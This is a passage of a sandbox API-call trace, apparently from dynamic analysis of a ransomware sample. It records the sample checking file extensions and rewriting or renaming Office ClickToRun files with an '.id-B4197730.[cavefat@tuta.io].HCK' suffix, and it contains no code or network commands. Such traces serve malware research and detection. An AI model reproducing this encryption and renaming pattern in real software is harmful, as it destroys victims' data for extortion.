shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString=".doc") returned 4 [0162.832] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString=".docx") returned 5 [0162.832] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0162.832] lstrlenW (lpString=".pdf") returned 4 [0162.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString=".xls") returned 4 [0162.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString=".xlsx") returned 5 [0162.832] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0162.832] lstrlenW (lpString=".ppt") returned 4 [0162.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString=".zip") returned 4 [0162.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString=".rar") returned 4 [0162.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString=".bz2") returned 4 [0162.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.832] lstrlenW (lpString=".7z") returned 3 [0162.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString=".dbf") returned 4 [0162.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString=".1cd") returned 4 [0162.832] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString=".jpg") returned 4 [0162.832] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.832] lstrlenW (lpString=".doc") returned 4 [0162.832] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.832] lstrlenW (lpString=".docx") returned 5 [0162.833] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0162.833] lstrlenW (lpString=".pdf") returned 4 [0162.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.833] lstrlenW (lpString=".xls") returned 4 [0162.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.833] lstrlenW (lpString=".xlsx") returned 5 [0162.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0162.833] lstrlenW (lpString=".ppt") returned 4 [0162.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.833] lstrlenW (lpString=".zip") returned 4 [0162.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.833] lstrlenW (lpString=".rar") returned 4 [0162.833] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.833] lstrlenW (lpString=".bz2") returned 4 [0162.833] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.833] lstrlenW (lpString=".7z") returned 3 [0162.833] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.833] lstrlenW (lpString=".dbf") returned 4 [0162.833] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.833] lstrlenW (lpString=".1cd") returned 4 [0162.833] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0162.833] lstrlenW (lpString=".jpg") returned 4 [0162.833] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.833] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0162.833] lstrlenW (lpString="MavInject32.exe") returned 15 [0162.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0162.834] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=358616) returned 1 [0162.834] CloseHandle (hObject=0x2e8) returned 1 [0162.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0162.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0162.834] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.834] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.835] GetLastError () returned 0x0 [0162.835] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x578d8, lpOverlapped=0x0) returned 1 [0162.842] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x578e0, lpOverlapped=0x0) returned 1 [0162.847] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.847] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf2, lpOverlapped=0x0) returned 1 [0162.847] SetEndOfFile (hFile=0x398) returned 1 [0162.847] CloseHandle (hObject=0x398) returned 1 [0162.853] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.853] SetEndOfFile (hFile=0x2e8) returned 1 [0162.855] CloseHandle (hObject=0x2e8) returned 1 [0162.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.856] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0162.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.856] lstrlenW (lpString=".doc") returned 4 [0162.856] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0162.856] lstrlenW (lpString=".docx") returned 5 [0162.856] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0162.856] lstrlenW (lpString=".pdf") returned 4 [0162.856] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0162.856] lstrlenW (lpString=".xls") returned 4 [0162.856] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0162.856] lstrlenW (lpString=".xlsx") returned 5 [0162.856] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0162.856] lstrlenW (lpString=".ppt") returned 4 [0162.856] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0162.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.856] lstrlenW (lpString=".zip") returned 4 [0162.856] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0162.856] lstrlenW (lpString=".rar") returned 4 [0162.856] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0162.856] lstrlenW (lpString=".bz2") returned 4 [0162.856] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0162.856] lstrlenW (lpString=".7z") returned 3 [0162.856] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0162.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".dbf") returned 4 [0162.857] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".1cd") returned 4 [0162.857] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".jpg") returned 4 [0162.857] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".doc") returned 4 [0162.857] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0162.857] lstrlenW (lpString=".docx") returned 5 [0162.857] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0162.857] lstrlenW (lpString=".pdf") returned 4 [0162.857] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0162.857] lstrlenW (lpString=".xls") returned 4 [0162.857] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0162.857] lstrlenW (lpString=".xlsx") returned 5 [0162.857] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0162.857] lstrlenW (lpString=".ppt") returned 4 [0162.857] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".zip") returned 4 [0162.857] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0162.857] lstrlenW (lpString=".rar") returned 4 [0162.857] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0162.857] lstrlenW (lpString=".bz2") returned 4 [0162.857] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0162.857] lstrlenW (lpString=".7z") returned 3 [0162.857] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".dbf") returned 4 [0162.857] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".1cd") returned 4 [0162.857] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0162.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0162.857] lstrlenW (lpString=".jpg") returned 4 [0162.857] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0162.857] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0162.857] lstrlenW (lpString="mso20win32client.dll") returned 20 [0162.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0162.858] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3144288) returned 1 [0162.858] CloseHandle (hObject=0x2e8) returned 1 [0162.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0162.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0162.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0162.859] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0x0) returned 1 [0162.859] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0162.859] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37f6058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.210] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xffe20, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0163.210] ReadFile (in: hFile=0x2e8, lpBuffer=0x3836058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3836058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.217] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.218] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x2bfa60, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0163.218] ReadFile (in: hFile=0x2e8, lpBuffer=0x3876058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3876058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.237] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.237] WriteFile (in: hFile=0x2e8, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xc0114, lpNumberOfBytesWritten=0x2c0fca8, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fca8*=0xc0114, lpOverlapped=0x0) returned 1 [0163.471] SetEndOfFile (hFile=0x2e8) returned 1 [0163.471] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e86040 [0163.474] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0163.474] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e86040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e86040*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.475] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xffe20, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0163.475] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e86040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e86040*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.478] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x2bfa60, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0163.479] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e86040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e86040*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.480] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e86040 | out: hHeap=0x6b0000) returned 1 [0163.480] CloseHandle (hObject=0x2e8) returned 1 [0164.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString=".doc") returned 4 [0164.608] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".docx") returned 5 [0164.608] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0164.608] lstrlenW (lpString=".pdf") returned 4 [0164.608] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".xls") returned 4 [0164.608] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".xlsx") returned 5 [0164.608] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0164.608] lstrlenW (lpString=".ppt") returned 4 [0164.608] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString=".zip") returned 4 [0164.608] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".rar") returned 4 [0164.608] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".bz2") returned 4 [0164.608] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.608] lstrlenW (lpString=".7z") returned 3 [0164.608] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString=".dbf") returned 4 [0164.608] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString=".1cd") returned 4 [0164.608] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString=".jpg") returned 4 [0164.608] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.608] lstrlenW (lpString=".doc") returned 4 [0164.608] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".docx") returned 5 [0164.608] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0164.608] lstrlenW (lpString=".pdf") returned 4 [0164.608] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.608] lstrlenW (lpString=".xls") returned 4 [0164.608] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.609] lstrlenW (lpString=".xlsx") returned 5 [0164.609] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0164.609] lstrlenW (lpString=".ppt") returned 4 [0164.609] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.609] lstrlenW (lpString=".zip") returned 4 [0164.609] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.609] lstrlenW (lpString=".rar") returned 4 [0164.609] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.609] lstrlenW (lpString=".bz2") returned 4 [0164.609] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.609] lstrlenW (lpString=".7z") returned 3 [0164.609] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.609] lstrlenW (lpString=".dbf") returned 4 [0164.609] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.609] lstrlenW (lpString=".1cd") returned 4 [0164.609] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0164.609] lstrlenW (lpString=".jpg") returned 4 [0164.609] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.609] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0164.609] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0164.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.609] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2776664) returned 1 [0164.609] CloseHandle (hObject=0x3ac) returned 1 [0164.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0164.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0164.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0164.686] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0x0) returned 1 [0164.687] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0164.687] ReadFile (in: hFile=0x370, lpBuffer=0x37f6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37f6058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.689] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe1f72, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0164.689] ReadFile (in: hFile=0x370, lpBuffer=0x3836058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3836058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.697] SetFilePointerEx (in: hFile=0x370, 